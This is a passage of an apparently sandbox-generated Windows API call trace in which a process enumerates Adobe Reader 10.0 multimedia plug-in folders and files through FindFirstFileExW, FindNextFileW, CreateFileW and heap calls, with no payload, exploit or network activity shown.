ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CZE", cAlternateFileName="")) returned 1 [0083.569] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="")) returned 1 [0083.569] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="")) returned 0 [0083.569] GetLastError () returned 0x12 [0083.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.569] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.569] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0083.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.574] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.574] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.574] NtClose (Handle=0x168) returned 0x0 [0083.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.575] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0083.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12167a0 [0083.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afbd0 [0083.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.HRV", cAlternateFileName="")) returned 1 [0083.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12167c0 [0083.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afcd8 [0083.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7680) returned 0x12c26f8 [0083.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HRV", cAlternateFileName="")) returned 1 [0083.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12167e0 [0083.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afde0 [0083.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.581] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="")) returned 1 [0083.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216800 [0083.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afee8 [0083.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="")) returned 0 [0083.583] GetLastError () returned 0x12 [0083.583] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.583] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.HRV", cAlternateFileName="")) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HRV", cAlternateFileName="")) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="")) returned 1 [0083.583] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HRV", cAlternateFileName="")) returned 0 [0083.583] GetLastError () returned 0x12 [0083.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.583] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.584] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0083.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.585] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.585] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.586] NtClose (Handle=0x180) returned 0x0 [0083.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.587] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.587] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.587] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0083.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216820 [0083.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afff0 [0083.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.589] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.HUN", cAlternateFileName="")) returned 1 [0083.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216840 [0083.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b00f8 [0083.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HUN", cAlternateFileName="")) returned 1 [0083.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216860 [0083.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0200 [0083.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.592] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="")) returned 1 [0083.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216880 [0083.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0308 [0083.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="")) returned 0 [0083.594] GetLastError () returned 0x12 [0083.594] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.594] FindClose (in: hFindFile=0x2e91c0 | out: 